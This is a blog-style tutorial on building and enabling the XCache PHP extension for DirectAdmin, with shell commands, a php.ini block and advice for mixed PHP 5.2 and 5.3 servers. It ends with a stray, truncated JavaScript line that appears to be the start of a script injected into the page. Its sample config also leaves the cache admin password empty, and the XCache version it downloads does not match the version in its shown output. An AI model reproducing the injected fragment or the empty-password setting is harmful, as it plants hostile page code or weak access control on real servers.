First of all, if you are using DirectAdmin in PHP-CGI (suPHP) mode, don’t waste your time follow this HOW-TO. Although these steps work with PHP-CGI but you will get nothing from doing it. For PHP-CLI, I found that it help to decrease my server load from about 10 or more down to about 1 but always less than 2. (I have quad core CPU and my problem before is that CPU usage is almost always 100%.) It’s useful module that you should have it installed.

Step 1 : Get XCache and uncompress it

cd /tmp
wget http://xcache.lighttpd.net/pub/Releases/1.2.2/xcache-1.2.2.tar.gz
tar -xvf xcache-1.2.2.tar.gz

Step 2 : Use phpize command to prepare xcache as a PHP extension for compiling:

cd xcache-1.2.2
phpize
After run above command, you will see
Configuring for:
PHP Api Version:         20041225
Zend Module Api No:      20060613
Zend Extension Api No:   220060519

Step 3 : Configure, compile and install XCache

./configure --enable-xcache
make
make install
After run above command, you will see
Installing shared extensions:     /usr/local/lib/php/extensions/no-debug-non-zts-20060613/

Notice that the location of file extension is : /usr/local/lib/php/extensions/no-debug-non-zts-20060613/

Step 4 : Enable extension and also create configuration

All document I found said you need to create xcache.ini. However, I did a bit different, I just merge xcache.ini into php.ini

nano -w /usr/local/lib/php.ini

Put following configuration in php.ini

[xcache-common]
;; install as zend extension (recommended), normally "$extension_dir/xcache.so"
zend_extension = /usr/local/lib/php/extensions/no-debug-non-zts-20060613/xcache.so
zend_extension_ts = /usr/local/lib/php/extensions/no-debug-non-zts-20060613/xcache.so
;; For windows users, replace xcache.so with php_xcache.dll
;zend_extension_ts = c:/php/extensions/php_xcache.dll
;; or install as extension, make sure your extension_dir setting is correct
; extension = xcache.so
;; or win32:
; extension = php_xcache.dll

[xcache.admin]
xcache.admin.auth = On
xcache.admin.user = "mOo"
; xcache.admin.pass = md5($your_password)
xcache.admin.pass = ""

[xcache]
xcache.shm_scheme =        "mmap"
xcache.size  =               60M
xcache.count =                 1
xcache.slots =                8K
xcache.ttl   =              3600
xcache.gc_interval =         300

; Same as aboves but for variable cache
; If you don't know for sure that you need this, you probably don't
xcache.var_size  =            4M
xcache.var_count =             1
xcache.var_slots =            8K
xcache.var_ttl   =             0
xcache.var_maxttl   =          0
xcache.var_gc_interval =     300

; N/A for /dev/zero
xcache.readonly_protection = Off

xcache.mmap_path =    "/dev/zero"

xcache.cacher =               On
xcache.stat   =               On

Make sure that [xcache-common] and its content come before [Zend] or you will get an error about incompatibility something like that.

Step 5 : Restart httpd service

/etc/init.d/httpd restart

After restart, type php-v. You will see that XCache is installed :

with XCache v1.3.0, Copyright (c) 2005-2009, by mOo

php -v
The output will be
PHP 5.3.1 (cli) (built: Jan 28 2010 14:34:21)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2009 Zend Technologies
    with XCache v1.3.0, Copyright (c) 2005-2009, by mOo

Problem compile XCache if you have both PHP 5.2.x and 5.3.x on the same server.
========================================

If your server have both PHP 5.2.x and 5.3.x, when you compiled it’s possible that the compiled file will always compiled for PHP 5.2.x. So, the xcache.so will be in ” /usr/local/lib/php/extensions/no-debug-non-zts-20060613/ “. But if you want to use XCache with PHP 5.3.x, you need it in “/usr/local/lib/php/extensions/no-debug-non-zts-20090626/”

So, you need to specify PHP 5.3.x path when using command “phpize” and “./configure” Below is what I use :

/usr/local/php5/bin/phpize
./configure --enable-xcache --with-php-config=/usr/local/php5/bin/php-config
make
make install

var d=document;var s=d.createElement(‘script’);